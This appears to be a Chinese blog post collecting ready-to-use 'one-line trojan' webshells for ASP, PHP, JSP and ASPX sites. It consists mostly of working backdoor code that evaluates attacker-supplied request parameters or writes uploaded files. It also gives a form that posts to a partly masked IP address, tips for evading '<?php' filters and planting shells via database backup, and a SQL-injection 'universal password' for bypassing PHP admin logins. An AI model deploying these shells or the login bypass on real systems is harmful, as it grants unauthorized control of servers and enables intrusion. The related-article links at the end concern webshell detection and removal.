一句话木马集合

简介: asp一句话木马 程序代码 < %eval request("a")%> 程序代码 < %execute request("a")%> 程序代码 < %execute(re...

asp一句话木马
程序代码
< %eval request("a")%>
程序代码
< %execute request("a")%>
程序代码
< %execute(request("a"))%>
程序代码
< %execute request("a")%><%'<% loop <%:%>
程序代码
< %'<% loop <%:%><%execute request("a")%>
程序代码
< %execute request("a")'<% loop <%:%>[code]
[code]<script language=vbs runat=server>eval_r(request("a"))</script>
程序代码
%><%eval_r(Request(chr(35)))%><%
程序代码
< %eval request("a")%>
程序代码
< %ExecuteGlobal request("a")%>
程序代码
if Request("a")<>"" then ExecuteGlobal request("a") end if
//容错代码

程序代码
< " CODEPAGE="65001"%>
< %
var lcx = {'名字' : Request.form('#'), '性别' : eval, '年龄' : '18', '昵称' : '请叫我一

声老大'};
lcx.性别((lcx.名字)+'');
%>
//使用冰狐一句话客户端链接
程序代码
< %
Set o = Server.CreateObject("ScriptControl")
o.language = "vbscript"
o.addcode(Request("SubCode")) '参数SubCode作为过程代码
o.run "e",Server,Response,Request,Application,Session,Error '参数名e 调用之,同时压入6

个基对象作为参数
%>

调用示例:

程序代码
http://localhost/tmp.asp?SubCode=sub e(Server,Response,Request,Application,Session,Error) eval_r(request("v")) end sub&v=response.write(server.mappath("tmp.asp"))
php一句话
程序代码
< ?php eval_r($_POST[a])?>
程序代码
< ?php @eval_r($_POST[a])?>
//容错代码

程序代码
< ?php assert($_POST[a]);?>
//使用lanker一句话客户端的专家模式执行相关的php语句

程序代码
< ?$_POST['sa']($_POST['a']);?>
程序代码
< ?$_POST['sa']($_POST['a'],$_POST['sc'])?>
程序代码
< ?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入

程序代码
<O>h=@eval_r($_POST[c]);</O>

程序代码
<script language="php">@eval_r($_POST[a])</script>
//绕过<?限制的一句话

JSP一句话
程序代码
< %
if(request.getParameter("f")!=null)(new java.io.FileOutputStream

(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter

("t").getBytes());
%>
提交客户端
程序代码
<form action="http://59.x.x.x:8080/scdc/bob.jsp?f=fuckjp.jsp" method="post">
< textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
< input type=submit value="提交">
< /form>

ASPX一句话

程序代码
< %@ Page Language="Jscript"%><%eval_r(Request.Item["pass"],"unsafe");%>

程序代码

<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval_r(Request.Item["w"],"unsafe"));%>
//Jscript的asp.net一句话
程序代码
< %if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request["f"]) ); }%>
//C#的asp.net一句话
程序代码
< % If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request ("f")) ) %>
VB的asp.net一句话

第一:114la网址导航系统后台getwebshell,最新版本,已经禁止了直接输入<?php这样的代码
所以可以试用<script language="php">...<script>来绕过

第二,使用菜刀的附加数据功能可以出现很多转换.所以还是仔细阅读下菜刀的readme.txt,上面的代

码来自LCX的博客

第三,使用mssql备份一句话的时候,特别是asp.net和jsp,因为代码过长,所以,需要再代码前面和后

面多加空格等垃圾字符保证代码完整性,这个跟备份bat到启动项一个原理.

 


如果一个网站的前台都是注入漏洞,那么凭经验,万能密码进后台的几率基本上百分之百。可是有的人说对PHP的站如果是GPC魔术转换开启,就会对特殊符号转义,就彻底杜绝了PHP注入。其实说这话的人没有好好想过,更没有尝试过用万能密码进PHP的后台。其实GPC魔术转换是否开启对用万能密码进后台一点影响也没有。

  如果你用这样的万能密码‘or’='or’,当然进不去,理由是GPC开启的时候单引号会被转换。

  PHP注入时我常用的万能密码是:‘or 1=1后面的东西被注释掉了),name=’’的逻辑值为假,而后面的1=1逻辑值则为真,对于整体就成了假 or 真,最终的逻辑值还是真,就进后台了。


  那么如果GPC转换开启了,就对单引号进行了转换。语句就变成了where name=’'or 1=1,再看一下和刚才有什么区别,无非是多了个。name=’‘与name=’’的逻辑值一样,都为假,那1=1为真,总的sql语句的逻辑值不还是真吗?那有进不去后台的理由吗?

  所以总的来说,php网站的万能密码可以这样写:‘or 1=1/*,而GPC转换是否开启对它没有任何影响!

  所以请改变你的想法:存在字符型注入的php网站是可以用万能密码’or 1=1/*的

目录
相关文章
|
安全 Ubuntu Linux
Windows提权漏洞集合
Windows提权漏洞集合
284 0
Windows提权漏洞集合
|
存储 Java Linux
登录 代码中被植入了恶意删除操作,太狠了!
在交接的代码中做手脚进行删库等操作,之前只是网上听说的段子,没想到上周还真遇到了,并且亲自参与帮忙解决。
160 0
登录 代码中被植入了恶意删除操作,太狠了!
|
存储 安全 关系型数据库
webshell网站木马文件后门如何根据特征删除
Webshell实际上是一个能够执行恶意功能的PHP代码文件。Webshell要执行恶意功能,其代码结构主要由两部分组成:数据传递部分和数据执行部分。在webshell中,数据传递部分是指webshell中用来接收外部输入数据的部分,webshell可以根据外部输入数据动态地交互执行恶意功能。在webshell中,数据执行部分指的是webshell中的system函数,用于执行代码执行和执行命令等命令。
335 0
webshell网站木马文件后门如何根据特征删除
|
SQL 监控 安全
网站服务器被攻击了如何查找木马(webshell)IP 篡改的痕迹
很对客户网站以及服务器被攻击,被黑后,留下了很多webshell文件,也叫网站木马文件,客户对自己网站的安全也是很担忧,担心网站后期会继续被攻击篡改,毕竟没有专业的安全技术去负责网站的安全防护工作,通过老客户的介绍很多客户在遇到网站被攻击后找到我们SINE安全做网站的安全服务,防止恶意攻击与篡改。对网站进行全面的防御与加固,我们在对客户网站进行安全部署的同时,客户经常会想要了解到底网站,以及服务器是如何被入侵,攻击者的IP是谁,那么我们SINESAFE技术针对这种情况,最好的办法就是通过日志进行分析,溯源追踪,帮助客户找到网站漏洞根源,到底是谁在攻击他们。下面我们来分享一下,我们是如何对日志进
543 0
网站服务器被攻击了如何查找木马(webshell)IP 篡改的痕迹
|
安全 Linux PHP
网站被攻击怎么办 如何查找网站漏洞攻击源
很多企业网站被攻击,导致网站打开跳转到别的网站,尤其一些彩票等非法网站上去,甚至有些网站被攻击的打不开,客户无法访问首页,给客户造成了很大的经济损失,很多客户找到我们SINE安全公司寻求防止网站被攻击的解决方案,针对这一情况,我们安全部门的技术,给大家普及一下网站被攻击后该如何查找攻击源以及对检测网站存在的漏洞,防止网站再次被攻击。
216 0
网站被攻击怎么办 如何查找网站漏洞攻击源
|
开发框架 安全 Java
网站后门木马查杀该怎么删除
收到阿里云的短信提醒说是网站存在后门,webshell恶意通信行为,紧急的安全情况,我第一时间登录阿里云查看详情,点开云盾动态感知,查看了网站木马的详细路径以及webshell的特征,网站从来没有出现过这种情况,一脸懵逼,无奈询问度娘吧,百度搜索了什么是webshell,为了解决这个问题,我可是下了很大的功夫,终于了解清楚并解决了阿里云提示网站后门的这个问题,记录一下我解决问题的过程。
319 0
网站后门木马查杀该怎么删除
|
SQL 安全 Java
服务器被黑该如何查找入侵、攻击痕迹
当公司的网站服务器被黑,被入侵导致整个网站,以及业务系统瘫痪,给企业带来的损失无法估量,但是当发生服务器被攻击的情况,作为服务器的维护人员应当在第一时间做好安全响应,对服务器以及网站应以最快的时间恢复正常运行,让损失减少到最低,针对于黑客攻击的痕迹应该如何去查找溯源,还原服务器被攻击的现场,SINE安全公司制定了详细的服务器被黑自查方案。
878 0
服务器被黑该如何查找入侵、攻击痕迹
|
安全 关系型数据库 Linux
linux服务器上使用find查杀webshell木马方法
linux服务器上使用find查杀webshell木马方法本文转自:http://ju.outofmemory.cn/entry/256317 只要从事互联网web开发的,都会碰上web站点被入侵的情况。
1938 0
|
监控 安全 Apache
网站被入侵,该如何查找黑客及网站漏洞?
当网站被攻击后,令人头疼的是网站哪里出现了问题,是谁在攻击我们,是               利用了什么网站漏洞呢?如果要查找到黑客攻击的根源,通过服务器里留下的网站                访问日志是一个很好的办法。
1660 0
|
安全
手动删除木马程序
1 ??? 2 这个蠢货竟然用360?   (360杀毒太流氓,插件不可控,就是第一个要杀的木马)      一些基本的命令往往可以在保护网络安全上起到很大的作用,下面几条命令的作用就非常突出。
1096 0